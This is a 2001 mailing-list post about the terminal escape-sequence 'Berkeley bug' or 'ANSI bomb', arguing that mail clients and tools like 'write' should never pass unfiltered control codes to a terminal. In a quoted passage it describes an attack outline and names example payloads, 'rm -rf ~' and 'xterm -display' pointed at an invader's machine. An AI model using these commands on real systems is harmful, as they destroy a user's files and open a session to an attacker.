[EMAIL PROTECTED] (Harald Alvestrand) wrote on 15.03.01 in
<[EMAIL PROTECTED]>:
> At 09:06 15/03/2001 +0200, Kai Henningsen wrote:
> > > Careful. Those who don't remember history are doomed to repeat it.
> > > There is no bigger security risk than being able to command a terminal
> > > to send its screen contents, or portions of it. 30 years ago it was
> > > called the "Berkeley bug".
> >
> >Well, then one would have to analyze what made it problematic, because I
> >certainly think of that as an essential feature. General unavailability of
> >that makes for a *very* noticably less friendly environment, IMO.
>
> This security risk applies to anything where the host can command the
> terminal to send a text string.
> Consider the case of a text file containing the escape sequences to:
>
> - Program the PF1 key to send <Email program's Shell escape>rm -rf ~<CR>
> - Trigger the PF1 key
>
> Replace "rm -rf" with what you think will hurt you - "xterm -display
> <invader's machine> &" is another "nice" payload on Unix (this was used in
> an exploit one of the more widespread DNS server security holes).
Known as "ANSI bomb" in the DOS world, and leading to all sorts of docs
saying "don't dump unparsed control codes to the terminal when writing,
say, a mail client". (And this is not just because of ANSI bombs. Other
controls may or may not count as security holes, but they can still be
extremely annoying, so passing *any* unaccounted controls is WRONG(tm).)
> Variants of this have been exploited through the "write" command, email,
> NetNews and other programs.
Where "write" and related tools are, IMAO, seriously misdesigned - just
writing to someone else's terminal can be seriously bad even without any
terminal programming capabilities.
Fortunately, it's also easily cured. "mesg no", and implement better
mechanisms (based on either a trusted program with root priviledges, or a
trusted program that the receiver starts). It's not as if that were
particularly hard to do. In fact, doesn't "talk" already work mostly like
that?
Curing that at the terminal level is, IMO, futile. Creating an
unattackable terminal means creating a useless terminal - the terminal has
no way to know which output is authorized and which isn't. The layer above
which _does_ know needs to do that.
The same reasoning says that the "rm" command doesn't try to prevent abuse
by unauthorized users, that's the job of the "login" command.
MfG Kai
-
Linux-UTF8: i18n of Linux on all levels
Archive: http://mail.nl.linux.org/lists/
